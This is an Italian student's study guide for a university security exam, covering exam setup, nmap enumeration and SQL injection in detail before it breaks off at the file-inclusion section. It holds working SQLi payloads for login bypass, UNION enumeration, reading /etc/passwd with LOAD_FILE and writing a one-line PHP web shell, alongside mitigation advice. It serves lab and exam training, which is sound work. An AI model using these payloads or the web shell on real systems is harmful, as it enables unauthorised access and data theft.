

Sicurezza Informatica T

Guida Pratica

Elia Cruciat

9/06/2026

Indice

Introduzione - Gestione dell'Esame e Setup	4
1 Enumerazione	6
1.1 Scansione di Rete e Host	6
2 Web Security	8
2.1 SQL Injection	8
2.1.1 SQL Basics (MySQL)	8
2.1.2 Le SQL Injection	9
2.1.3 SQLi - Error Based	10
2.1.4 SQLi - Union Based	13
2.1.5 Exploitation	14
2.1.6 Mitigazione delle SQL Injection (Obbligatoria da Report)	18
2.2 File Inclusion	18
2.2.1 Local File Inclusion	18
2.2.2 Basic Filters Bypasses	19
2.2.3 Remote File Inclusion	21
2.2.4 Automated Scanning	21
2.3 Command Injection	23
2.3.1 Metodologia di Attacco Step-by-Step	23
2.3.2 Caso Particolare: Reverse Shell	23
2.3.3 Separatori di Comandi e URL Encoding	25
2.3.4 Tecniche di Evasione (Bypass dei Filtri)	25
2.3.5 Automazione Avanzata: Generazione Wordlist + ffuf	26
2.4 Cross-Site Scripting (XSS)	27
2.4.1 XSS Proof of Concept	27
2.4.2 Reflected XSS	27
2.4.3 Stored XSS	28
2.4.4 DOM-based XSS	30
2.4.5 Contesti XSS	30
3 Binary Exploits	32
3.1 Introduzione e Concetti Base	32
3.2 Registri CPU essenziali ed Endianness	32
3.3 Strumenti Operativi: GDB e Perl	33
3.4 Ricognizione Iniziale e Reverse Engineering Base	33
3.4.1 Analisi Statica Rapida (strings)	33
3.4.2 Analisi Dinamica: Il Metodo "Top-Down" (Workflow del Professore)	33
3.4.3 Il trucco del Breakpoint su strcmp (Recupero Password Offuscate)	34
3.5 Metodologia di Exploitation	35
3.6 Scenari d'Esame	35
3.6.1 Scenario 1: Sovrascrivere una variabile di controllo	35
3.6.2 Scenario 2: Esecuzione di funzioni nascoste multiple	36
3.6.3 Scenario 2.1: Variante Remota e Reverse Shell	36
3.6.4 Scenario 3: Buffer Overflow con Shellcode e NOP Sled	37

3.6.5	Scenario 4: Bypass NX Stack (Return to Libc)	38
3.7	Note a Margine: Shellcode e Bad Characters	39
4	Privilege Escalation	40
4.1	I Fondamentali: Il Contesto	40
4.2	System Integrity Check (AIDE)	41
4.2.1	Workflow Operativo: Inizializzazione e Controllo	42
4.2.2	Configurazione Mirata	42
4.2.3	Limiti: Cosa AIDE rileva e cosa NO	43
4.3	Sfruttare le Misconfigurazioni di sudoers	43
4.3.1	Verifica dei privilegi assegnati	43
4.3.2	Focus: Shell Escape da Editor (vi, vim, nano)	43
4.3.3	Vettore: Path Traversal (Abuso del globbing *)	44
4.4	Abuso di file con SUID settato	44
4.4.1	Individuazione efficiente dei file SUID	45
4.4.2	Generalizzazione del vettore SUID	45
4.4.3	Vettore 1: Manipolazione tramite cp (Copia)	45
4.4.4	Vettore 2: Esecuzione di comandi tramite find	46
4.5	Bombe Logiche: Cron Jobs e Demoni di Sistema	46
4.5.1	Definizioni Teoriche	46
4.5.2	Individuazione mirata dei Target	46
4.5.3	L'Exploit: Iniezione di Codice	47
4.6	Access Control List (ACL) Permissive	47
4.6.1	Contesto e Riconoscimento	47
4.6.2	Analisi e Scansione con getfacl	47
4.6.3	L'Exploit: Abuso dei permessi ACL	48
4.7	Abuso delle Linux Capabilities	48
4.7.1	Contesto e Definizione	48
4.7.2	Scansione dei binari con getcap	49
4.7.3	Riferimenti e Manuale	49
4.7.4	Vettori Operativi di Escalation	49
4.7.5	Elenco delle Capabilities più Pericolose	50
4.8	Cheat Sheet: Forgiare un utente Root manualmente	51
4.8.1	Metodo Rapido: Utente Root senza Password	51
4.8.2	Metodo Completo: Creare un utente con Password	52
5	Network Intrusion Detection (Suricata)	53
5.1	Contesto Teorico: NIDS vs HIDS	53
5.1.1	NIDS (Network-based Intrusion Detection System)	53
5.1.2	HIDS (Host-based Intrusion Detection System)	53
5.1.3	Suricata: Caratteristiche principali	54
5.2	Metodologia di Analisi PCAP con Wireshark	54
5.2.1	STEP 1: Mappatura della rete fisica	55
5.2.2	STEP 2: Mappatura globale del traffico (Per ogni Host)	55
5.2.3	STEP 3: Individuazione del traffico malevolo	56
5.3	Componenti e Sintassi delle Regole Suricata	57
5.3.1	L'Intestazione	58
5.3.2	Le Opzioni principali	58
5.3.3	Modificatori di Contesto Applicativo (I "Mirini")	59

5.3.4	Definizione di Variabili Globali (suricata.yaml)	60
5.4	Esempi di Scrittura delle Regole	60
5.4.1	Buffer Overflow (Payload Binario esadecimale)	60
5.4.2	Command Injection (RegEx su protocollo HTTP)	60
5.4.3	Evasione dei filtri (Senza protocollo HTTP)	61
5.5	Esecuzione Offline e Ispezione dei Log	61
5.5.1	Comando di Analisi Offline	61
5.5.2	Lettura dei Risultati: fast.log vs eve.json	62
6	Firewalling e Filtering	63
6.1	Introduzione a nftables e Concetti Base	63
6.2	Strutturazione del Firewall (Tabelle e Catene)	64
6.3	Cheat Sheet: Anatomia di una Regola e Porte	66
6.3.1	Porte Comuni da Esame	66
6.4	La Regola d'Oro delle Interfacce (iif / oif)	67
6.5	Regole Fondamentali: Loopback e Conntrack	67
6.5.1	Regola 1: Il Loopback (Sempre Necessario sugli Endpoint)	67
6.5.2	Regola 2: Stateful Filtering (Connection Tracking)	67
6.5.3	La Regola Complementare (Tabella Filter)	68
6.6	Match e Verdict	68
6.6.1	Sintassi per Match Comuni	69
6.6.2	Strutture Avanzate: Set e VMAP	69
6.6.3	Eliminazione di una Regola	70
6.7	Network Address Translation (NAT)	70
6.7.1	DNAT (Destination NAT / Port Forwarding)	71
6.7.2	SNAT / Masquerade (Source NAT)	71
6.8	Esempi Pratici e Scenari d'Esame (Es. 15 Aprile)	72
6.8.1	Scenario A: Port Forwarding su porta non standard	72
6.8.2	Scenario B: Isolamento e Filtrazione Granulare	72
7	Post Exploitation	74
7.1	Password Cracking (John the Ripper)	74
7.1.1	Casi d'Uso Operativi	74
7.2	Crittografia Applicata (GPG)	75
7.2.1	Memento Teorico-Pratico sulle Chiavi	75
7.2.2	Caso d'Uso: La Consegna dell'Esame	76

Introduzione - La Prova

Prima di addentrarsi nelle tecniche specifiche, è fondamentale comprendere la struttura della prova pratica e preparare l'ambiente di lavoro in modo ottimale.

L'esame di Sicurezza Informatica si divide in due fasi principali:

1. **Prova Teorica:** Un test a risposte chiuse. Il risultato è immediato e la prova, pur avendo un tempo allocato di un'ora, viene solitamente completata in molto meno tempo. I minuti avanzati usali per fare il login, preparare l'ambiente, avviare le VM e creare gli snapshot prima che inizi la pratica.
2. **Prova Pratica (Open Book):** La prova operativa vera e propria. Il professore proporrà **4 esercizi scelti tra 5 macro-argomenti possibili**:
 - **Privesc (Privilege Escalation):** Scalare i privilegi da utente standard a root sfruttando misconfigurazioni, SUID, cronjobs, ecc.
 - **Web Security:** Sfruttare vulnerabilità web (SQLi, LFI, Command Injection, XSS).
 - **Firewalling (Nftables):** Configurare regole di rete, NAT e port forwarding su più host virtuali.
 - **IDS (Suricata / Network Security):** Analizzare traffico (spesso con Wireshark) e scrivere regole Suricata per intercettare exploit specifici.
 - **Pwn (Binary Exploitation):** Sfruttare buffer overflow per dirottare l'esecuzione di binari vulnerabili.

Di questi 4 esercizi proposti, **ne dovrai scegliere e completare solo 3**.

Stesura del Report Indipendentemente dall'esercizio scelto, è di fondamentale importanza scrivere sempre come mitigare la vulnerabilità che hai appena sfruttato. Non limitarti a descrivere l'attacco, ma spiega sempre come patchare il sistema, correggere i permessi o filtrare l'input per prevenire l'intrusione.

Gestione del Tempo

La prova di teoria, a risposte chiuse, fornisce un risultato immediato e di solito dura meno dell'ora allocata. Sfrutta i circa 15 minuti che avanzano prima della pratica per avvantaggiarti: prepara l'ambiente creando snapshot delle VM, organizza le cartelle e i file.

Attenzione al Setup Se arrivi impreparato e l'ambiente non funziona per un tuo errore di configurazione, **non ti verrà concesso tempo extra**.

Gestione File, Backup e Appunti

Assicurati di sapere come configurare e usare la cartella *shared* tra la macchina virtuale e l'host. Inoltre, ricorda che:

- Puoi usare **EOL** come sistema di backup per salvare i progressi degli esercizi.
- Prepara gli appunti in anticipo: potresti doverli caricare sulla macchina dell'esame il mercoledì precedente oppure portarli su chiavetta o trasferirli via SSH (ma fai attenzione, perché l'SSH non è sempre garantito).

Decifratura Pacchetti d'Esame (GPG)

Se all'inizio della prova i pacchetti applicativi forniti (**.deb**) sono protetti da cifratura (es. estensione **.deb.gpg**), occorre decifrarli tramite GPG prima di poterli installare nel sistema:

```
# Decifra il pacchetto grezzo salvando l'output open-source
gpg -d file.deb.gpg > file.deb

# Installa regolarmente il binario risultante
sudo dpkg -i file.deb
```

Capitolo 1 - Enumerazione

La fase iniziale di ogni attacco è l'enumerazione. L'obiettivo è mappare la superficie di attacco del bersaglio per scoprire quali host sono attivi, quali servizi espongono e preparare il terreno per i vettori di intrusione.

1.1 Scansione di Rete e Host

Vediamo ora la metodologia logica da usare per l'enumerazione di base. Per ottimizzare i tempi e massimizzare l'efficienza durante l'esame, questa fase operativa viene gestita da uno script bash di automazione (`auto_enum.sh`) che divide la scansione in tre passaggi mirati e progressivi:

1. **Step 1: Host Discovery (Ping Sweep):** Serve a individuare gli host vivi sull'intera subnet fornita (es. `192.168.56.0/24`), riducendo drasticamente il rumore generato. Lo script estrae il nostro indirizzo IP e, per ripulire l'output, esclude in automatico noi stessi e i classici gateway (tipicamente `.1` e `.254`).

```
nmap -sn <subnet>
```

- `-sn`: Disabilita il port scanning, ordinando a Nmap di effettuare esclusivamente la fase di host discovery.

2. **Step 2: Scansione veloce di TUTTE le porte TCP (65535):** Una volta isolati gli IP attivi, si procede a sondare l'intero range di porte per capire esattamente quali servizi sono in ascolto, estraendone i numeri.

```
nmap -sT -p- <IP>
```

- `-sT`: Esegue un TCP Connect scan completo. È un approccio estremamente affidabile che porta a termine l'intero three-way handshake TCP.
- `-p-`: Estende la scansione a tutte le 65535 porte disponibili, aggirando il limite delle classiche 1000 porte scansionate di default da Nmap.

3. **Step 3: Scansione profonda sui servizi:** L'ultimo step concentra il massimo sforzo computazionale **esclusivamente sulle porte trovate aperte** nel passaggio precedente, estraendo versioni ed eseguendo script, per poi salvare tutto in locale.

```
nmap -p <OPEN_PORTS> -A -sV -sC -oA "enum_<IP>" <IP>
```

- `-p <OPEN_PORTS>`: Limita la scansione mirata solo alla lista delle porte effettivamente aperte separate da virgola, risparmiando moltissimo tempo.
- `-A`: Abilita la scansione aggressiva (OS detection, version detection, script scanning e traceroute).
- `-sV`: Interroga le porte aperte cercando di determinare l'esatto servizio e la sua versione.

- `-sC`: Esegue gli script di default del Nmap Scripting Engine (NSE), utilissimi per raccogliere al volo informazioni aggiuntive.
- `-oA "enum_<IP>"`: Salva i risultati della scansione in tutti i tre formati principali (Nmap, Grepable, XML) fornendo un backup immediato della ricognizione.

NOTA Sebbene lo script esegua questi passaggi in automatico, la profonda comprensione dei comandi nativi appena descritti resta fondamentale qualora l'automazione fallisse, l'ambiente filtrasse certi pacchetti o si rendesse necessario un troubleshooting manuale mirato.

Capitolo 2 - Web Security

2.1 SQL Injection

Metto qui solo e soltanto le cose che ritengo importanti a risolvere gli esercizi riguardanti le SQLi e alla compilazione del relativo report.

2.1.1 SQL Basics (MySQL)

Sia il corso di HTB che quello in università si basa su MySQL (nota: MariaDB è un fork di MySQL, quindi se vedi quello vai tranquillo).

Basi SQL e Sintassi (per sicurezza)

Giusto per avere un recap e non bloccarmi su cavolate di sintassi:

- **SELECT:** `SELECT column1, column2 FROM table_name WHERE condition;`
- **INSERT:** `INSERT INTO table_name (column1, column2) VALUES (value1, value2);`
- **UPDATE:** `UPDATE table_name SET column1 = value1 WHERE condition;`
- **DELETE:** `DELETE FROM table_name WHERE condition;`
- **ALTER:** `ALTER TABLE table_name ADD column_name datatype;` o `DROP COLUMN column_name;`
- **DROP:** `DROP TABLE table_name;` o `DROP DATABASE database_name;`

Ordine di valutazione degli operatori:

L'ordine in SQL è fondamentale per capire come vengono valutati i nostri payload. In genere:

1. Parentesi () (sempre valutate per prime, fondamentali per bypass/injection mirate)
2. Moltiplicazione/Divisione *, /
3. Addizione/Sottrazione +, -
4. Operatori di confronto =, >, <, >=, <=, <>, LIKE, IN, IS NULL
5. NOT
6. AND
7. OR

NOTA L'AND ha la precedenza sull'OR. Se scrivo `A AND B OR C`, viene valutato come `(A AND B) OR C`. Per forzare una priorità diversa servono le parentesi: `A AND (B OR C)`.

Command line login

Posto di aver scoperto durante l'enumerazione (nmap) che c'è una porta aperta che espone il database MySQL, e posto di aver trovato altrove delle credenziali valide (teoricamente si può fare brute forcing, ma per questioni di tempo dubito fortemente che in esame sarà il caso), allora si può accedere al DB MySQL mediante un comando del tipo:

```
mysql -u USER -h HOST_IP -P HOST_PORT -p
```

Il -p serve ad indicare la password, ma viene lasciato vuoto per evitare che essa appaia in chiaro su `.bash_history` (o come si chiama): la password verrà quindi chiesta una volta lanciato il comando.

Il Punto e Virgola

Importante ricordare che una query è sempre terminata da un punto e virgola. Tuttavia questo non vale nel caso di *[Testo originale interrotto]*

Gli Apici

MySQL permette i numeri con gli apici facendo un cast automatico. A livello pratico: se il parametro è palesemente numerico (es: `?id=5`) prova prima i payload senza apici (es: `5` OR `1=1`); se è una stringa (es: `?user=admin`) l'apice ci vuole.

Database e Schema

Di base funziona così: un DBMS contiene diversi Schema (schemi), che a loro volta contengono diverse Table (tabelle). Per qualsivoglia motivo in MySQL hanno deciso di rendere DATABASE un sinonimo di SCHEMA, il che implica che alcuni comandi a noi utili hanno più versioni corrette. Un esempio è sicuramente:

```
SHOW DATABASES ;  
SHOW SCHEMAS ;
```

I Metacaratteri e l'operatore LIKE

Di nuovo, giusto per non confonderci le idee, invece di `*` e `?` abbiamo `%` e `_`. Inoltre, si usano solamente con l'operatore LIKE (es: `WHERE id = '5' AND user LIKE '%admin%'`).

2.1.2 Le SQL Injection

Le categorie

Le SQLi si dividono in:

- **In-band** → Ovvero se l'output della query ci è direttamente visibile. Si dividono a loro volta in Error Based e Union Based (vedremo poi che vuol dire).
- **Blind** → Ovvero se l'input non è direttamente visibile ma è ottenibile mediante logica SQL (in particolare a seconda dei casi si parla di Boolean Based o di Time Based).

- **Out-of-band** → Ovvero se non c'è modo di vedere direttamente l'output, e va quindi rediretto ad una locazione remota (es DNS record) per cercare di recuperarlo.

Fino a prova contraria, per fortuna noi ci occuperemo solo delle In-band, sia Error Based che Union Based.

L'URL Encoding

L'URL encoding (o percent-encoding) serve per codificare i caratteri speciali in modo che non "rompano" la richiesta HTTP (es. gli spazi, i &, gli =). Regola d'oro: quando l'injection avviene via GET (nell'URL), i caratteri speciali devono essere codificati.

Esempi rapidi:

- Spazio → %20 o +
- ' (apice singolo) → %27
- # → %23
- - (commento con spazio) → -%20

Dato che la parte sull'url encoding (e anche l'aggiramento dei filtri) è comune a tutta la web security e non solo alle SQLi, magari qui facciamo un accenno e spieghiamo meglio in un file a parte.

2.1.3 SQLi - Error Based

La prima cosa da fare è verificare se la query è vulnerabile, o meglio se il codice (es: PHP) è stato scritto in modo poco sicuro, rendendo la query vulnerabile. Non abbiamo accesso al codice, ma il modo più semplice per fare ciò è provare a mettere in un campo alla volta un singolo apice ' (o anche " o \ a quanto mi pare di capire). Il o i campi vulnerabili saranno quelli che causano un comportamento inatteso (es: qualcosa di diverso da login success/login fail in caso di login); il motivo è che usando MySQL gli apici, in mancanza di operazioni di "pulizia" dell'input la query diventa qualcosa del tipo:

```
SELECT * FROM credentials WHERE user = '' AND password = '';
```

I 3 apici sono un errore sintattico, e questo è il motivo per cui si otterrà un comportamento non standard (se non addirittura il traceback dell'errore, che da degli insight riguardo all'effettivo codice!!!).

Al di là del fatto che mettendo un numero pari di apici non c'è più errore sintattico (informazione di zero utilità pratica imo), le due varianti che vedremo consistono nello sfruttare il fatto che dopo il singolo apice stiamo scrivendo direttamente dentro la query per manipolare quest'ultima (aggiungendo o togliendo parti di essa).

Osservazione: il modo più facile a mio parere di non sbagliarsi con gli apici è scrivere la query (o eventualmente la presunta query) completa, e poi copiare la parte da incollare nell'url o nel form html. Esempio:

```
SELECT * FROM credentials WHERE user = 'admin' -- ' AND password = '';
```

Il payload che ci serve sarà "admin' – ".

Premessa: baserò la spiegazione sulla query di login già vista come esempio, dato che la tipologia e difficoltà dovrebbe essere molto simile. Ciò non toglie però che in caso di query diverse e/o più complesse la cosa diventa meno banale (detto ciò, riguardandosi la sezione sull'ordine degli operatori e ragionando un po' sulla logica dovrebbe essere più che fattibile).

OR Injection

// Questa injection viene usata quando si conosce un valore valido (e per noi rilevante) di uno dei campi vulnerabili (ripeto, questo criterio vale solo per query simili, ovvero con un unico AND ecc.).

Partiamo dalla query di login:

```
SELECT * FROM credentials WHERE user = 'user_fornito' AND
password = 'password_fornita';
```

Ponendo per esempio che ci sia un utente con campo user "admin", il payload che si va ad immettere è il seguente:

```
admin' OR '1'='1
```

La query risultante sarà dunque:

```
SELECT * FROM credentials WHERE user = 'admin' OR '1'='1' AND
password = 'password';
```

OCCHIO che il motivo per cui funziona è l'ordine di valutazione degli operatori:

1. '1'='1' AND password = 'password' → FALSE sempre
2. user = 'admin' OR FALSE → TRUE per la riga dell'user 'admin', FALSE altrove.

Quindi la query avrà risultato la riga della tabella credentials dove user = 'admin', bypassando il campo password!

IMPORTANTE: Se invece di avere come unico campo vulnerabile user abbiamo anche password, allora non è più necessario conoscere l'user di un utente!

Inoltre, l'injection è praticamente la stessa di prima ma duplicata, in quanto basta mettere come payload di entrambi i campi questo:

```
' OR '1'='1
```

La query risultante sarà dunque:

```
SELECT * FROM credentials WHERE user = '' OR '1'='1' AND
password = '' OR '1'='1';
```

Seguiamo dunque l'ordine degli operatori:

1. '1'='1' AND password = " → FALSE sempre
2. user = " OR FALSE → FALSE sempre
3. FALSE OR '1'='1' → TRUE sempre

NOTA Nel secondo caso la query restituisce tutte le righe, ma le web app di solito processano solo la prima restituita dal DBMS, che solitamente è l'admin.

Comment Injection

NOTA Questo tipo di SQLi in realtà mi pare più semplice della OR Injection, quindi magari può essere opportuno scambiare l'ordine qui (scambiando probabilmente in questo modo l'ordine in cui vengono tentate).

Questo è il metodo più semplice e pulito di fare gran parte delle SQLi (es: auth bypass): commentare la seconda parte della query!

Con un semplice payload del tipo:

```
admin'--
```

I ottiene una query del tipo:

```
SELECT * FROM credentials WHERE user = 'admin'-- ' AND password = 'something';
```

Ma in realtà la parte veramente eseguita è:

```
SELECT * FROM credentials WHERE user = 'admin';
```

NOTA Nelle SQLi via web non serve mettere il ; perchè a backend la query viene gestita come un blocco singolo. Inserire il ; via web spesso causa errori, ha senso metterlo solo se si è collegati da riga di comando.

NOTA Da notare che:

1. Si può usare anche # come commento oltre a –
2. Spesso non viene notato, ma lo spazio dopo – è fondamentale! Infatti per chiarezza e per evitare eventuali trim() dell'input o problemi nell'URL encoding si tende a scrivere '– ' piuttosto che solo '–'.

NOTA Chiaramente l'efficacia di questo metodo dipende dalla struttura della query e da quanto sappiamo su di essa: per esempio, se i campi user e password fossero invertiti il commento andrebbe ad eliminare:

- In un caso (vulnerabilità nel campo user) niente: `SELECT * FROM credentials WHERE password = 'something' AND user = 'admin'– ';`
- Nell'altro caso (vulnerabilità nel campo password) andrebbe comunque ad eliminare il campo user, che è quello che ci serve: `SELECT * FROM credentials WHERE password = 'something'– ' AND user = 'admin';`

TUTTAVIA, se conosciamo la struttura della query in se possiamo aggirare il problema, almeno nel secondo caso:

```
SELECT * FROM credentials WHERE password = 'something' AND user = 'admin'-- ' AND user = 'admin';
```

Da notare che MySQL permette l'utilizzo delle parentesi tonde, per esempio all'interno delle clausole WHERE. Per esempio:

```
SELECT * FROM credentials WHERE (user = 'user_fornito' AND id > '0') AND password = 'password_fornita';
```

Il problema sta nel fatto che se semplicemente commentiamo, la parentesi aperta ma non chiusa causa un errore di sintassi. Questo è facilmente risolvibile semplicemente chiudendo la parentesi prima del commento:

```
SELECT * FROM credentials WHERE (user = 'user_valido')-- AND id > '0') AND password = 'something';
```

Da notare che questo non solo ci permette di fare login senza password di un qualsiasi utente valido, ma permette anche di, posto che 'admin' abbia id = '0', fare il login come admin!

2.1.4 SQLi - Union Based

Questo tipo di injection si basa appunto sulla UNION, che permette di fare più SELECT e unire poi i risultati in una sola vista.

Numero di Colonne

Di base UNION lavora solo con select aventi lo stesso numero di colonne, quindi:

- Se le due query ritornano già lo stesso numero di colonne allora perfetto, siamo pronti.
- Se le due query NON ritornano lo stesso numero di colonne, bisogna:
 - Se è la query aggiunta da noi ad avere meno colonne, aggiungiamo colonne fantoccio.
 - Se è la query iniziale ad avere meno colonne, dobbiamo modificare la query aggiunta da noi diminuendo il numero di colonne restituite.

Column Enumeration

Per poter effettuare la Union Based SQLi bisogna prima quindi capire quante colonne ha la tabella iniziale. Ci sono 2 metodi totalmente analoghi tra loro:

- **ORDER BY:** Usando un payload del tipo "' order by X- -" (dove X è il numero della colonna da usare per l'ordinamento) in modo incrementale partendo da X=1, se la query fallisce per X=k allora il numero di colonne sarà k-1.
- **UNION:** Analogamente, basta un payload del tipo "' UNION SELECT NULL, NULL, NULL- -", dove il numero di NULL aumenta in modo incrementale da X=1 a X=k (dove la query fallisce), rivelando anche qui che il numero di colonne sarà k-1.

NOTA Il NULL va usato sempre all'inizio come jolly per contare le colonne senza che la query fallisca per errori di tipo di dato. Trovato il numero corretto, si passa ai numeri interi (UNION SELECT 1,2,3) per vedere quali colonne sono effettivamente mostrate a frontend.

2.1.5 Exploitation

Vediamo ora il workflow da usare per exploitare una vulnerabilità in un DBMS MySQL.

Riconoscere il DBMS: MySQL vs SQLite

Per capire se ci troviamo davanti ad un DBMS MySQL, i segni esterni solitamente sono:

- Una porta la cui descrizione (da Nmap) è letteralmente MySQL (o MariaDB).
- La presenza di Apache/Nginx (che implica LAMP stack) o IIS.

A livello di iniezione, in caso di Union Based SQLi basta provare la seguente query (adattata col corretto numero di colonne e NULL):

```
UNION SELECT @@version-- -
```

Questa query funziona unicamente su MySQL. Se restituisce la versione, hai la certezza.

ATTENZIONE CRITICA: La Trappola di SQLite Fino a poco tempo fa si assumeva che gli esami fossero solo su MySQL, ma tracce recenti usano **SQLite**! Se provi a interrogare `information_schema` e ottieni un errore, potresti essere su SQLite. Spesso lo si scopre empiricamente iniettando un banale `' OR '1'='1` che bypassa i controlli e rivela messaggi nascosti lasciati dagli sviluppatori a schermo.

Enumerazione specifica per SQLite

Se scopri di essere su SQLite, la sintassi cambia radicalmente poiché **non esiste** `information_schema`.

- **Enumerazione delle Tabelle:** Al posto di `information_schema.tables`, si usa la tabella di sistema `sqlite_schema` (o `sqlite_master`). La query da usare nella UNION è:

```
UNION SELECT type, name, tbl_name, NULL FROM sqlite_schema-- -
```

- **Enumerazione delle Colonne (Il trucco del SELECT *):** SQLite non offre un modo semplice per estrarre programmaticamente i nomi delle singole colonne. L'approccio più rapido ed efficace all'esame è deduttivo: se hai scoperto (tramite i NULL) che la query originale usa 4 colonne e trovi una tabella interessante (es. `flags`), prova a fare direttamente:

```
UNION SELECT * FROM flags-- -
```

Se per pura fortuna anche la tabella target ha esattamente 4 colonne, i dati verranno stampati a schermo bypassando la necessità di conoscerne i nomi.

L'Enumerazione del DBMS con Information_Schema

Questo Schema di sistema contiene informazioni come:

- Lista degli Schema presenti.
- Lista delle Tables in ciascuno Schema.
- Lista delle Columns in ciascuna Table.

NOTA Per selezionare le Table di uno Schema anche se un'altro Schema è "selezionato" si usa la seguente notazione:

```
SELECT * FROM SchemaX.TableY;
```

Schemata

Tabella che contiene le informazioni riguardo tutti gli Schema presenti nel DBMS. Possiamo fare quindi enumerazione degli Schema con una query di questo tipo:

```
SELECT schema_name FROM information_schema.schemata;
```

Inoltre, possiamo capire qual'è lo schema attualmente selezionato mediante 'database()':

```
SELECT database();
```

Tables

Una volta trovato uno Schema che ci interessa, che chiameremo SchemaX, andiamo a fare l'enumerazione delle Tables in quello Schema mediante la tabella Tables dentro ad Information_Schema:

```
SELECT table_name FROM information_schema.tables WHERE  
table_schema = 'SchemaX';
```

Columns

Analogamente, avendo trovato una Table che ci interessa (che chiameremo TableY) andiamo a fare l'enumerazione delle Columns in quella Table mediante la tabella Columns dentro ad Information_Schema:

```
SELECT column_name FROM information_schema.columns WHERE  
table_schema = 'SchemaX' AND table_name = 'TableY';
```

Data

Una volta ottenuti Schema, Table e Columns possiamo procedere all'estrazione dei dati che ci interessano veramente, con una query del tipo:

```
SELECT Campo1, Campo2 FROM SchemaX.TableY;
```

NOTA Ricorda sempre la notazione SchemaX.TableY, dato che lo Schema selezionato è un altro!!!

NOTA Tutte le query da Exploitation in poi in realtà sono solo per esprimere il concetto, le vere query dovrebbero essere con UNION ecc.

Lettura di File

Poter leggere i dati all'interno di un DBMS, soprattutto al giorno d'oggi, è in realtà tutt'altro che scontato: solitamente, solo i DB Admin hanno i privilegi necessari.

I Privilegi

Iniziamo subito provando a vedere il nostro user corrente, usando una delle seguenti query (ovviamente adattate a UNION):

```
SELECT user();  
SELECT user from mysql.user;
```

Ottenuto l'utente, possiamo verificare se esso ha i privilegi da DB Admin:

```
SELECT super_priv FROM mysql.user WHERE user = 'root';
```

Alternativamente, possiamo ottenere una lista forse più completa (?) dei nostri privilegi dall'Information_Schema:

```
SELECT grantee, privilege_type FROM information_schema.  
user_privileges WHERE grantee = "'root'@'localhost'";
```

NOTA root@localhost non è nulla di strano, è letteralmente quello che esce da SELECT user();

NOTA Il privilegio di leggere i file è indicato come Privilege_Type = 'FILE'.

Load_File

Una volta che sappiamo che possiamo leggere i file, possiamo provare a leggere dei file sensibili, come /etc/passwd:

```
SELECT Load_File('/etc/passwd');
```

Un'altro esempio possibile è stampare a schermo il codice sorgente del webserver, anche se si può fare in casi molto particolari che non penso vedremo in esame. Per sempio, un webserver apache salva le pagine in /var/www/html, quindi se la pagina è index.html possiamo fare:

```
SELECT Load_File('/var/www/html/index.php');
```

NOTA In tal caso, il codice di index.php viene renderizzato dal browser, quindi bisogna usare CTRL+U per vedere il codice sorgente.

Scrittura di File

Per scrivere dentro a dei file nel backend server di un DBMS non basta il privilegio FILE, ma serve altro.

Secure_File_Priv

Questa variabile dice se e dove ho privilegi di lettura/scrittura: NULL → Da nessuna parte, Vuota → ovunque, Una/certa/dir → Solo in quella dir. Ovviamente tutto ciò posto di avere il privilegio FILE. I DBMS moderni ormai la settano su NULL o su percorsi blindati di default, rendendo questa vulnerabilità molto più rara in contesti reali aggiornati.

```
SELECT Variable_Name, Variable_Value FROM Information_Schema.
Global_Variables WHERE Variable_Name="Secure_File_Priv";
```

SELECT INTO OUTFILE

Posto di aver verificato di avere i privilegi corretti, possiamo scrivere su dei file mediante una SELECT diversa dalla SELECT FROM:

```
SELECT * FROM users INTO OUTFILE '/tmp/credentials';
SELECT 'this is a test' INTO OUTFILE '/tmp/test.txt';
```

NOTA Un eventuale file creato dalla query avrà come owner e group mysql.

Mostro un esempio di utilizzo di questa select nella nostra Union Based SQLi, dato che può risultare non immediata:

```
' UNION SELECT 1,'file written successfully!',3,4 INTO OUTFILE '/
var/www/html/proof.txt'-- -
```

NOTA In realtà vengono scritti anche i numeri 1 3 4 insieme alla stringa voluta, quindi se si volesse un output pulito si metterebbero stringhe vuote "" al posto dei numeri.

Generare una Shell

Posto che abbiamo detto che probabilmente casi del genere non ci capiteranno mai in esame, il corso di HTB propone un'ultima cosa, ovvero di scrivere in un file PHP la seguente stringa:

```
<?php system($_REQUEST[0]); ?>
```

Questo, posto come nell'esempio di Load_File() di conoscere il path dove vengono salvate le pagine del webserver, permette di lanciare qualsiasi comando shell mediante un URL del tipo:

```
http://SERVER_IP:PORT/shell.php?0=COMANDO
```

NOTA Lo '0=' prima del comando è perchè la shell prende come input il parametro 0.

NOTA FINALE: La fonte di gran parte di queste logiche è il modulo HTB: <https://academy.hackthebox.com/app/module/33>. Sono state tralasciate in questa guida le sezioni relative all'uso avanzato di Burp Suite in quanto non strettamente necessarie per le tempistiche d'esame.

2.1.6 Mitigazione delle SQL Injection (Obbligatoria da Report)

Come indicato nell'introduzione, all'esame è richiesto di descrivere l'errore di progettazione e proporre la risoluzione. Ecco il glossario tecnico da inserire sempre nel report a chiusura dell'esercizio:

- **Causa Radice:** "La vulnerabilità è dovuta ad una mancata sanitizzazione e validazione dei dati in input passati dall'utente. L'input (es. il parametro in GET) viene concatenato direttamente all'interno della query SQL, permettendo all'attaccante di alterarne la logica sintattica."
- **Mitigazione 1 (Prepared Statements):** "La soluzione definitiva per prevenire l'iniezione consiste nell'evitare l'uso diretto di interpreti SQL tramite concatenazione di stringhe. Occorre utilizzare le query pre-compilate (*Prepared Statements* basate sull'operatore **PREPARE**) offerte nativamente dai framework moderni. In questo modo, l'input viene trattato dal DBMS esclusivamente come dato isolato e non come codice eseguibile."
- **Mitigazione 2 (Input Validation / Allow-listing):** "In via aggiuntiva, è necessario implementare un filtraggio rigoroso dell'input lato backend, possibilmente utilizzando una logica di *Allow-listing* che accetti solo un elenco esplicito di valori pre-approvati (es. forzare rigorosamente il *casting* a intero se l'applicazione si aspetta un ID numerico)."

2.2 File Inclusion

Molti dei linguaggi moderni usati per il back-end di applicazioni web (PHP, Javascript, Java ecc) permettono di "includere" file nel render di una determinata pagina (in questo modo parti come il footer vengono scritte una volta sola e incluse in tutte le altre pagine). In diversi casi inoltre, quale specifico file includere è determinato da un parametro GET: per file inclusion si intende proprio la manipolazione di tale parametro per riuscire a stampare a schermo dei file riservati presenti sulla macchina dove gira il backend.

NOTA Alcune delle effettive funzioni (es: `include()` in PHP) permettono non solo la lettura ma anche l'esecuzione di determinati file, ma noi ci limiteremo a vedere la parte di lettura. CREDO?

2.2.1 Local File Inclusion

